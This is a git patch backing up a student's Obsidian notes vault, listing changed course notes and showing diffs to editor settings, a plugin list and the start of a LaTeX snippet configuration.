From ae837183f1ec23c09316de550f35d9b3d6759834 Mon Sep 17 00:00:00 2001 From: boris Date: Sun, 16 Mar 2025 18:59:42 +0000 Subject: [PATCH] vault backup: 2025-03-16 18:59:42 --- .DS_Store | Bin 18436 -> 14340 bytes .obsidian/app.json | 5 +- .obsidian/appearance.json | 6 +- .obsidian/community-plugins.json | 3 +- .../plugins/obsidian-latex-suite/data.json | 30 + .../plugins/obsidian-latex-suite/main.js | 15605 ++++++++++++++++ .../obsidian-latex-suite/manifest.json | 11 + .../plugins/obsidian-latex-suite/styles.css | 235 + .obsidian/plugins/obsidian-latex/main.js | 206 + .../plugins/obsidian-latex/manifest.json | 10 + .obsidian/workspace.json | 146 +- .../Assessment/Coursework Prep Notes.md | 6 + AI & Data Mining/Exam Revision/Acronyms.md | 2 + .../Exam Revision/Classification.md | 10 +- AI & Data Mining/Exam Revision/Clustering.md | 1 + .../Exam Revision/Decision Trees.md | 1 + .../Exam Revision/Evaluating Performance.md | 1 + .../Exam Revision/Instance-Based Learning.md | 1 + AI & Data Mining/Exam Revision/Naive Bayes.md | 1 + AI & Data Mining/Exam Revision/Workshops.md | 1 + .../Week 18/Week 18 - Tutorial.md | 2 +- .../Week 18/Week 18 - What AI?????.md | 9 +- AI & Data Mining/Week 18/test.pdf | Bin 0 -> 111084 bytes ...l - Introduction to Propositional Logic.md | 8 +- .../Week 20 - Intro to Propositional Logic.md | 4 + .../Chapter 21 - Transformational Proofs.md | 44 + ...rmational Proofs in Propositional Logic.md | 2 +- ...Chapter 22 Validity and Inference Rules.md | 53 + .../Week 22 Validity and Inference Rules.md | 163 + .../Week 22 Validity and Inference Rules.pdf | Bin 0 -> 38835 bytes AI & Data Mining/Week 22/test.pdf | Bin 0 -> 22603 bytes .../Week 23/Chapter 23 - Deductive Proofs.md | 16 + .../Week 23/Week 23 - Deductive Proofs.md | 204 + AI & Data Mining/Week 23/test.pdf | Bin 0 -> 24949 bytes .../Week 24/Week 24 - Predicate Logic.md | 0 ...hapter 25 - Predicate Logic Quantifiers.md | 18 + .../Week 25 - Predicate Logic Quantifiers.md | 171 + .../Week 26 - Deductive Proofs.md | 159 + .../Week 3/Lecture 5 - Naive Bayes.md | 11 +- AI & Data Mining/Week 3/Tutorial 3.md | 8 +- AI & Data Mining/Week 3/Workshop 3.md | 2 +- .../Week 4/Lecture 7 - Nearest Neighbor.md | 21 +- .../Week 4/Tutorial 4 - Nearest Neighbor.md | 11 +- .../Week 4/Workshop 4 - Nearest Neighbor.md | 2 +- AI & Data Mining/Week 5/Lecture 9 - PRISM.md | 5 +- AI & Data Mining/Week 5/Tutorial 9 - PRISM.md | 3 +- AI & Data Mining/Week 6/Lecture 11 - ID3.md | 9 +- .../Lecture 12 - Decision Trees (ID3).md | 1 - AI & Data Mining/Week 7/Chapter 13 - ID3.md | 1 + ...re 16 - Evaluating Concept Descriptions.md | 1 + AI & Data Mining/Week 9/Chapter 15.md | 16 +- CWC 1 - Consistency.md | 24 +- CWC 2 - Warm Welcome.md | 14 +- CWC 3 - Fit for Trade.md | 9 +- Career Development/Assessment 2 Diary.md | 79 + Career Development/Assessment 2 Plan.md | 51 + Career Development/Assessment.md | 12 +- Client Server Systems/.DS_Store | Bin 8196 -> 8196 bytes Client Server Systems/Ecobuddy | 2 +- Data Structures/AI Notes/ADT Linear List.md | 3 + ...Data Structures and Abstract Data Types.md | 27 +- .../AI Notes/Double linked lists.md | 14 +- Data Structures/AI Notes/Exceptions.md | 25 +- Data Structures/AI Notes/Linear List.md | 40 +- .../AI Notes/Questions & Definitions.md | 12 +- Data Structures/AI Notes/Queues.md | 51 +- .../AI Notes/Singly and Doubly linked list.md | 2 +- Data Structures/AI Notes/Stack.md | 41 +- Data Structures/AI Notes/Trees.md | 37 +- Data Structures/Focused Exam Revision.md | 34 +- .../GPT Answers to Past Paper/Question 1.md | 2 +- .../GPT Answers to Past Paper/Question 10.md | 5 +- .../GPT Answers to Past Paper/Question 2.md | 7 +- .../GPT Answers to Past Paper/Question 3.md | 11 +- .../GPT Answers to Past Paper/Question 4.md | 15 +- .../GPT Answers to Past Paper/Question 5.md | 9 +- .../GPT Answers to Past Paper/Question 6.md | 13 +- .../GPT Answers to Past Paper/Question 7.md | 6 +- .../GPT Answers to Past Paper/Question 8.md | 13 +- .../GPT Answers to Past Paper/Question 9.md | 13 +- Data Structures/Week 4/Week 4 - Exceptions.md | 1 - Data Structures/Week 5/Lecture 9 - Stacks.md | 1 + Data Structures/Week 7/Week 7.md | 2 +- Networking and Security/Untitled.md | 1 + Networking and Security/Week 18/Workshop.md | 4 +- .../Week 2/Lecture 3 - IP4 and Subnetting.md | 3 +- Networking and Security/Week 4/Lecture 8.md | 5 +- .../Week 4/Workshop 4 - Routing.md | 4 +- PHPStorm/README.md | 1 + .../Exploitation Assignment/Discovery.md | 1 - .../Task 2 - Web Attacks.md | 9 + .../Stage 1 - RoE.md | 10 +- .../Week 11/Lecture 11 - Enumeration.md | 2 +- .../Week 15/Week 15 - Buffer Overflow.md | 30 +- Penetration Testing/Week 19/AI Summary.md | 26 +- .../Week 19/Steps to Complete Workshop 2.md | 6 +- .../Week 19/Week 19 - Buffer Overflow.md | 15 +- ...d => Week 20 - Web Application Attacks.md} | 5 +- .../Week 21/Public Exploitation Workshop.md | 1 + ...eek 21 - Exploits and Post-Exploitation.md | 90 + .../Week 22/Week 22 - Web Attacks.md | 81 + .../Week 23/Week 23 - Password Attacks.md | 44 + .../Week 4/Week 4 - Pre-Engagement.md | 12 +- .../Week 4/Workshop 4 - Google Dorking.md | 4 +- .../Week 5/Lecture 5 - Reconnaisance.md | 9 +- .../Week 6/Lecture 6 - Threat Modelling.md | 3 +- .../Lecture 7 - Vulnerability Scanning.md | 9 +- .../Workshop 7 - ping and traceroute.md | 2 + README.md | 1 + .../Assignment/Assignment 1.md | 4 +- .../Hackcamp/Iteration 1 - Product Demo.md | 1 + .../Hackcamp/Red Ocelot Notes.md | 5 +- .../Week 3/Study Skills - Class Diagrams.md | 1 + .../Week 4/Workshop 4 - SPAT.md | 7 +- Welcome.md | 5 - .../Pasted image 20240916172110.png | Bin .../Pasted image 20240916172844.png | Bin .../Pasted image 20240916173130.png | Bin .../Pasted image 20240918092145.png | Bin .../Pasted image 20240918092203.png | Bin .../Pasted image 20240918092221.png | Bin .../Pasted image 20240918102704.png | Bin .../Pasted image 20240918103827.png | Bin .../Pasted image 20240918104728.png | Bin .../Pasted image 20240919134249.png | Bin .../Pasted image 20240919134304.png | Bin .../Pasted image 20240919134526.png | Bin .../Pasted image 20240919134535.png | Bin .../Pasted image 20240919134848.png | Bin .../Pasted image 20240919143921.png | Bin .../Pasted image 20240919144005.png | Bin .../Pasted image 20240920114400.png | Bin .../Pasted image 20240920120755.png | Bin .../Pasted image 20240920122020.png | Bin .../Pasted image 20240920130950.png | Bin .../Pasted image 20240920131244.png | Bin .../Pasted image 20240920131532.png | Bin .../Pasted image 20240920131537.png | Bin .../Pasted image 20240920131625.png | Bin .../Pasted image 20240920132209.png | Bin .../Pasted image 20240920132732.png | Bin .../Pasted image 20240920133218.png | Bin .../Pasted image 20240920133316.png | Bin .../Pasted image 20240920133706.png | Bin .../Pasted image 20240920134203.png | Bin .../Pasted image 20240923122342.png | Bin .../Pasted image 20240923122346.png | Bin .../Pasted image 20241003092201.png | Bin .../Pasted image 20241003092526.png | Bin .../Pasted image 20241003092549.png | Bin .../Pasted image 20241003122311.png | Bin .../Pasted image 20241003122335.png | Bin .../Pasted image 20241003132609.png | Bin .../Pasted image 20241003132621.png | Bin .../Pasted image 20241003132636.png | Bin .../Pasted image 20241003133342.png | Bin .../Pasted image 20241003133919.png | Bin .../Pasted image 20241003134100.png | Bin .../Pasted image 20241004142352.png | Bin .../Pasted image 20241004143909.png | Bin .../Pasted image 20241010132324.png | Bin .../Pasted image 20241010132326.png | Bin .../Pasted image 20241010133818.png | Bin .../Pasted image 20241010135130.png | Bin .../Pasted image 20241011131542.png | Bin .../Pasted image 20241011131844.png | Bin .../Pasted image 20241011140611.png | Bin .../Pasted image 20241011140654.png | Bin .../Pasted image 20241011140717.png | Bin .../Pasted image 20241017130933.png | Bin .../Pasted image 20241017131053.png | Bin .../Pasted image 20241017131525.png | Bin .../Pasted image 20241017131740.png | Bin .../Pasted image 20241017131912.png | Bin .../Pasted image 20241017132019.png | Bin .../Pasted image 20241017132059.png | Bin .../Pasted image 20241018131938.png | Bin .../Pasted image 20241024094123.png | Bin .../Pasted image 20241024094143.png | Bin .../Pasted image 20241024132411.png | Bin .../Pasted image 20241024132906.png | Bin .../Pasted image 20241025132339.png | Bin .../Pasted image 20241025141348.png | Bin .../Pasted image 20241025141715.png | Bin .../Pasted image 20241025143543.png | Bin images/Pasted image 20250207142220.png | Bin 0 -> 313323 bytes images/Pasted image 20250221132524.png | Bin 0 -> 35349 bytes preamble.sty | 2 + 188 files changed, 17794 insertions(+), 409 deletions(-) create mode 100755 .obsidian/plugins/obsidian-latex-suite/data.json create mode 100755 .obsidian/plugins/obsidian-latex-suite/main.js create mode 100755 .obsidian/plugins/obsidian-latex-suite/manifest.json create mode 100755 .obsidian/plugins/obsidian-latex-suite/styles.css create mode 100755 .obsidian/plugins/obsidian-latex/main.js create mode 100755 .obsidian/plugins/obsidian-latex/manifest.json create mode 100755 AI & Data Mining/Assessment/Coursework Prep Notes.md create mode 100755 AI & Data Mining/Week 18/test.pdf create mode 100644 AI & Data Mining/Week 21/Chapter 21 - Transformational Proofs.md create mode 100644 AI & Data Mining/Week 22/Chapter 22 Validity and Inference Rules.md create mode 100644 AI & Data Mining/Week 22/Week 22 Validity and Inference Rules.md create mode 100755 AI & Data Mining/Week 22/Week 22 Validity and Inference Rules.pdf create mode 100755 AI & Data Mining/Week 22/test.pdf create mode 100644 AI & Data Mining/Week 23/Chapter 23 - Deductive Proofs.md create mode 100644 AI & Data Mining/Week 23/Week 23 - Deductive Proofs.md create mode 100755 AI & Data Mining/Week 23/test.pdf create mode 100644 AI & Data Mining/Week 24/Week 24 - Predicate Logic.md create mode 100644 AI & Data Mining/Week 25/Chapter 25 - Predicate Logic Quantifiers.md create mode 100644 AI & Data Mining/Week 25/Week 25 - Predicate Logic Quantifiers.md create mode 100644 AI & Data Mining/Week 26 - Deductive Proofs.md create mode 100644 Career Development/Assessment 2 Diary.md create mode 100644 Career Development/Assessment 2 Plan.md create mode 100644 Penetration Testing/Exploitation Assignment/Task 2 - Web Attacks.md rename Penetration Testing/Week 20/{Week 20 - Web Attacks.md => Week 20 - Web Application Attacks.md} (99%) create mode 100644 Penetration Testing/Week 21/Public Exploitation Workshop.md create mode 100644 Penetration Testing/Week 21/Week 21 - Exploits and Post-Exploitation.md create mode 100644 Penetration Testing/Week 22/Week 22 - Web Attacks.md create mode 100644 Penetration Testing/Week 23/Week 23 - Password Attacks.md delete mode 100755 Welcome.md rename Pasted image 20240916172110.png => images/Pasted image 20240916172110.png (100%) rename Pasted image 20240916172844.png => images/Pasted image 20240916172844.png (100%) rename Pasted image 20240916173130.png => images/Pasted image 20240916173130.png (100%) rename Pasted image 20240918092145.png => images/Pasted image 20240918092145.png (100%) rename Pasted image 20240918092203.png => images/Pasted image 20240918092203.png (100%) rename Pasted image 20240918092221.png => images/Pasted image 20240918092221.png (100%) rename Pasted image 20240918102704.png => images/Pasted image 20240918102704.png (100%) rename Pasted image 20240918103827.png => images/Pasted image 20240918103827.png (100%) rename Pasted image 20240918104728.png => images/Pasted image 20240918104728.png (100%) rename Pasted image 20240919134249.png => images/Pasted image 20240919134249.png (100%) rename Pasted image 20240919134304.png => images/Pasted image 20240919134304.png (100%) rename Pasted image 20240919134526.png => images/Pasted image 20240919134526.png (100%) rename Pasted image 20240919134535.png => images/Pasted image 20240919134535.png (100%) rename Pasted image 20240919134848.png => images/Pasted image 20240919134848.png (100%) rename Pasted image 20240919143921.png => images/Pasted image 20240919143921.png (100%) rename Pasted image 20240919144005.png => images/Pasted image 20240919144005.png (100%) rename Pasted image 20240920114400.png => images/Pasted image 20240920114400.png (100%) rename Pasted image 20240920120755.png => images/Pasted image 20240920120755.png (100%) rename Pasted image 20240920122020.png => images/Pasted image 20240920122020.png (100%) rename Pasted image 20240920130950.png => images/Pasted image 20240920130950.png (100%) rename Pasted image 20240920131244.png => images/Pasted image 20240920131244.png (100%) rename Pasted image 20240920131532.png => images/Pasted image 20240920131532.png (100%) rename Pasted image 20240920131537.png => images/Pasted image 20240920131537.png (100%) rename Pasted image 20240920131625.png => images/Pasted image 20240920131625.png (100%) rename Pasted image 20240920132209.png => images/Pasted image 20240920132209.png (100%) rename Pasted image 20240920132732.png => images/Pasted image 20240920132732.png (100%) rename Pasted image 20240920133218.png => images/Pasted image 20240920133218.png (100%) rename Pasted image 20240920133316.png => images/Pasted image 20240920133316.png (100%) rename Pasted image 20240920133706.png => images/Pasted image 20240920133706.png (100%) rename Pasted image 20240920134203.png => images/Pasted image 20240920134203.png (100%) rename Pasted image 20240923122342.png => images/Pasted image 20240923122342.png (100%) rename Pasted image 20240923122346.png => images/Pasted image 20240923122346.png (100%) rename Pasted image 20241003092201.png => images/Pasted image 20241003092201.png (100%) rename Pasted image 20241003092526.png => images/Pasted image 20241003092526.png (100%) rename Pasted image 20241003092549.png => images/Pasted image 20241003092549.png (100%) rename Pasted image 20241003122311.png => images/Pasted image 20241003122311.png (100%) rename Pasted image 20241003122335.png => images/Pasted image 20241003122335.png (100%) rename Pasted image 20241003132609.png => images/Pasted image 20241003132609.png (100%) rename Pasted image 20241003132621.png => images/Pasted image 20241003132621.png (100%) rename Pasted image 20241003132636.png => images/Pasted image 20241003132636.png (100%) rename Pasted image 20241003133342.png => images/Pasted image 20241003133342.png (100%) rename Pasted image 20241003133919.png => images/Pasted image 20241003133919.png (100%) rename Pasted image 20241003134100.png => images/Pasted image 20241003134100.png (100%) rename Pasted image 20241004142352.png => images/Pasted image 20241004142352.png (100%) rename Pasted image 20241004143909.png => images/Pasted image 20241004143909.png (100%) rename Pasted image 20241010132324.png => images/Pasted image 20241010132324.png (100%) rename Pasted image 20241010132326.png => images/Pasted image 20241010132326.png (100%) rename Pasted image 20241010133818.png => images/Pasted image 20241010133818.png (100%) rename Pasted image 20241010135130.png => images/Pasted image 20241010135130.png (100%) rename Pasted image 20241011131542.png => images/Pasted image 20241011131542.png (100%) rename Pasted image 20241011131844.png => images/Pasted image 20241011131844.png (100%) rename Pasted image 20241011140611.png => images/Pasted image 20241011140611.png (100%) rename Pasted image 20241011140654.png => images/Pasted image 20241011140654.png (100%) rename Pasted image 20241011140717.png => images/Pasted image 20241011140717.png (100%) rename Pasted image 20241017130933.png => images/Pasted image 20241017130933.png (100%) rename Pasted image 20241017131053.png => images/Pasted image 20241017131053.png (100%) rename Pasted image 20241017131525.png => images/Pasted image 20241017131525.png (100%) rename Pasted image 20241017131740.png => images/Pasted image 20241017131740.png (100%) rename Pasted image 20241017131912.png => images/Pasted image 20241017131912.png (100%) rename Pasted image 20241017132019.png => images/Pasted image 20241017132019.png (100%) rename Pasted image 20241017132059.png => images/Pasted image 20241017132059.png (100%) rename Pasted image 20241018131938.png => images/Pasted image 20241018131938.png (100%) rename Pasted image 20241024094123.png => images/Pasted image 20241024094123.png (100%) rename Pasted image 20241024094143.png => images/Pasted image 20241024094143.png (100%) rename Pasted image 20241024132411.png => images/Pasted image 20241024132411.png (100%) rename Pasted image 20241024132906.png => images/Pasted image 20241024132906.png (100%) rename Pasted image 20241025132339.png => images/Pasted image 20241025132339.png (100%) rename Pasted image 20241025141348.png => images/Pasted image 20241025141348.png (100%) rename Pasted image 20241025141715.png => images/Pasted image 20241025141715.png (100%) rename Pasted image 20241025143543.png => images/Pasted image 20241025143543.png (100%) create mode 100644 images/Pasted image 20250207142220.png create mode 100644 images/Pasted image 20250221132524.png create mode 100755 preamble.sty diff --git a/.DS_Store b/.DS_Store index 15d5d9084eb3257a7b9bc5df3b2897d2f5eb6c52..62050c93817180829d87277859b6da564980420a 100644 GIT binary patch literal 14340 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 PGn0(}w=(n4jsO1!U1?j| diff --git a/.obsidian/app.json b/.obsidian/app.json index 56f7091..629ab0e 100755 --- a/.obsidian/app.json +++ b/.obsidian/app.json @@ -1,13 +1,14 @@ { "showInlineTitle": true, "useMarkdownLinks": true, - "promptDelete": true, + "promptDelete": false, "showLineNumber": true, "attachmentFolderPath": "images", "pdfExportSettings": { + "includeName": true, "pageSize": "A4", "landscape": false, - "margin": "0", + "margin": "2", "downscalePercent": 64 }, "readableLineLength": false, diff --git a/.obsidian/appearance.json b/.obsidian/appearance.json index 3d81c7f..7708b51 100755 --- a/.obsidian/appearance.json +++ b/.obsidian/appearance.json @@ -1,11 +1,11 @@ { "accentColor": "", - "theme": "system", + "theme": "moonstone", "cssTheme": "Tokyo Night", "nativeMenus": true, "baseFontSize": 14, - "interfaceFontFamily": "AppleGothic,Inter", - "textFontFamily": "AppleGothic,Inter", + "interfaceFontFamily": "AppleGothic,Ubuntu Mono", + "textFontFamily": "AppleGothic,DejaVu Math TeX Gyre", "monospaceFontFamily": "PT Mono,Andale Mono", "baseFontSizeAction": false, "translucency": true diff --git a/.obsidian/community-plugins.json b/.obsidian/community-plugins.json index 1940b92..6a238df 100755 --- a/.obsidian/community-plugins.json +++ b/.obsidian/community-plugins.json @@ -7,5 +7,6 @@ "obsidian-style-settings", "url-into-selection", "obsidian-csv-table", - "mermaid-tools" + "mermaid-tools", + "obsidian-latex" ] \ No newline at end of file diff --git a/.obsidian/plugins/obsidian-latex-suite/data.json b/.obsidian/plugins/obsidian-latex-suite/data.json new file mode 100755 index 0000000..5f6b9bb --- /dev/null +++ b/.obsidian/plugins/obsidian-latex-suite/data.json @@ -0,0 +1,30 @@ +{ + "snippets": "[\n // Math mode\n\t{trigger: \"mk\", replacement: \"$$0$\", options: \"tA\"},\n\t{trigger: \"dm\", replacement: \"$$\\n$0\\n$$\", options: \"tAw\"},\n\t{trigger: \"beg\", replacement: \"\\\\begin{$0}\\n$1\\n\\\\end{$0}\", options: \"mA\"},\n\n // Dashes\n\t// {trigger: \"--\", replacement: \"–\", options: \"tA\"},\n\t// {trigger: \"–-\", replacement: \"—\", options: \"tA\"},\n\t// {trigger: \"—-\", replacement: \"---\", options: \"tA\"},\n\n // Greek letters\n\t{trigger: \"@a\", replacement: \"\\\\alpha\", options: \"mA\"},\n\t{trigger: \"@b\", replacement: \"\\\\beta\", options: \"mA\"},\n\t{trigger: \"@g\", replacement: \"\\\\gamma\", options: \"mA\"},\n\t{trigger: \"@G\", replacement: \"\\\\Gamma\", options: \"mA\"},\n\t{trigger: \"@d\", replacement: \"\\\\delta\", options: \"mA\"},\n\t{trigger: \"@D\", replacement: \"\\\\Delta\", options: \"mA\"},\n\t{trigger: \"@e\", replacement: \"\\\\epsilon\", options: \"mA\"},\n\t{trigger: \":e\", replacement: \"\\\\varepsilon\", options: \"mA\"},\n\t{trigger: \"@z\", replacement: \"\\\\zeta\", options: \"mA\"},\n\t{trigger: \"@t\", replacement: \"\\\\theta\", options: \"mA\"},\n\t{trigger: \"@T\", replacement: \"\\\\Theta\", options: \"mA\"},\n\t{trigger: \":t\", replacement: \"\\\\vartheta\", options: \"mA\"},\n\t{trigger: \"@i\", replacement: \"\\\\iota\", options: \"mA\"},\n\t{trigger: \"@k\", replacement: \"\\\\kappa\", options: \"mA\"},\n\t{trigger: \"@l\", replacement: \"\\\\lambda\", options: \"mA\"},\n\t{trigger: \"@L\", replacement: \"\\\\Lambda\", options: \"mA\"},\n\t{trigger: \"@s\", replacement: \"\\\\sigma\", options: \"mA\"},\n\t{trigger: \"@S\", replacement: \"\\\\Sigma\", options: \"mA\"},\n\t{trigger: \"@u\", replacement: \"\\\\upsilon\", options: \"mA\"},\n\t{trigger: \"@U\", replacement: \"\\\\Upsilon\", options: \"mA\"},\n\t{trigger: \"@o\", replacement: \"\\\\omega\", options: \"mA\"},\n\t{trigger: \"@O\", replacement: \"\\\\Omega\", options: \"mA\"},\n\t{trigger: \"ome\", replacement: \"\\\\omega\", options: \"mA\"},\n\t{trigger: \"Ome\", replacement: \"\\\\Omega\", options: \"mA\"},\n\n // Text environment\n {trigger: \"text\", replacement: \"\\\\text{$0}$1\", options: \"mA\"},\n {trigger: \"\\\"\", replacement: \"\\\\text{$0}$1\", options: \"mA\"},\n\n // Basic operations\n {trigger: \"sr\", replacement: \"^{2}\", options: \"mA\"},\n\t{trigger: \"cb\", replacement: \"^{3}\", options: \"mA\"},\n\t{trigger: \"rd\", replacement: \"^{$0}$1\", options: \"mA\"},\n\t{trigger: \"_\", replacement: \"_{$0}$1\", options: \"mA\"},\n\t{trigger: \"sts\", replacement: \"_\\\\text{$0}\", options: \"mA\"},\n\t{trigger: \"sq\", replacement: \"\\\\sqrt{ $0 }$1\", options: \"mA\"},\n\t{trigger: \"//\", replacement: \"\\\\frac{$0}{$1}$2\", options: \"mA\"},\n\t{trigger: \"ee\", replacement: \"e^{ $0 }$1\", options: \"mA\"},\n {trigger: \"invs\", replacement: \"^{-1}\", options: \"mA\"},\n {trigger: /([A-Za-z])(\\d)/, replacement: \"[[0]]_{[[1]]}\", options: \"rmA\", description: \"Auto letter subscript\", priority: -1},\n\n {trigger: /([^\\\\])(exp|log|ln)/, replacement: \"[[0]]\\\\[[1]]\", options: \"rmA\"},\n {trigger: \"conj\", replacement: \"^{*}\", options: \"mA\"},\n {trigger: \"Re\", replacement: \"\\\\mathrm{Re}\", options: \"mA\"},\n\t{trigger: \"Im\", replacement: \"\\\\mathrm{Im}\", options: \"mA\"},\n {trigger: \"bf\", replacement: \"\\\\mathbf{$0}\", options: \"mA\"},\n\t{trigger: \"rm\", replacement: \"\\\\mathrm{$0}$1\", options: \"mA\"},\n\n // Linear algebra\n {trigger: /([^\\\\])(det)/, replacement: \"[[0]]\\\\[[1]]\", options: \"rmA\"},\n {trigger: \"trace\", replacement: \"\\\\mathrm{Tr}\", options: \"mA\"},\n\n // More operations\n\t{trigger: \"([a-zA-Z])hat\", replacement: \"\\\\hat{[[0]]}\", options: \"rmA\"},\n {trigger: \"([a-zA-Z])bar\", replacement: \"\\\\bar{[[0]]}\", options: \"rmA\"},\n\t{trigger: \"([a-zA-Z])dot\", replacement: \"\\\\dot{[[0]]}\", options: \"rmA\", priority: -1},\n\t{trigger: \"([a-zA-Z])ddot\", replacement: \"\\\\ddot{[[0]]}\", options: \"rmA\", priority: 1},\n\t{trigger: \"([a-zA-Z])tilde\", replacement: \"\\\\tilde{[[0]]}\", options: \"rmA\"},\n\t{trigger: \"([a-zA-Z])und\", replacement: \"\\\\underline{[[0]]}\", options: \"rmA\"},\n\t{trigger: \"([a-zA-Z])vec\", replacement: \"\\\\vec{[[0]]}\", options: \"rmA\"},\n {trigger: \"([a-zA-Z]),\\\\.\", replacement: \"\\\\mathbf{[[0]]}\", options: \"rmA\"},\n\t{trigger: \"([a-zA-Z])\\\\.,\", replacement: \"\\\\mathbf{[[0]]}\", options: \"rmA\"},\n\t{trigger: \"\\\\\\\\(${GREEK}),\\\\.\", replacement: \"\\\\boldsymbol{\\\\[[0]]}\", options: \"rmA\"},\n\t{trigger: \"\\\\\\\\(${GREEK})\\\\.,\", replacement: \"\\\\boldsymbol{\\\\[[0]]}\", options: \"rmA\"},\n\n\t{trigger: \"hat\", replacement: 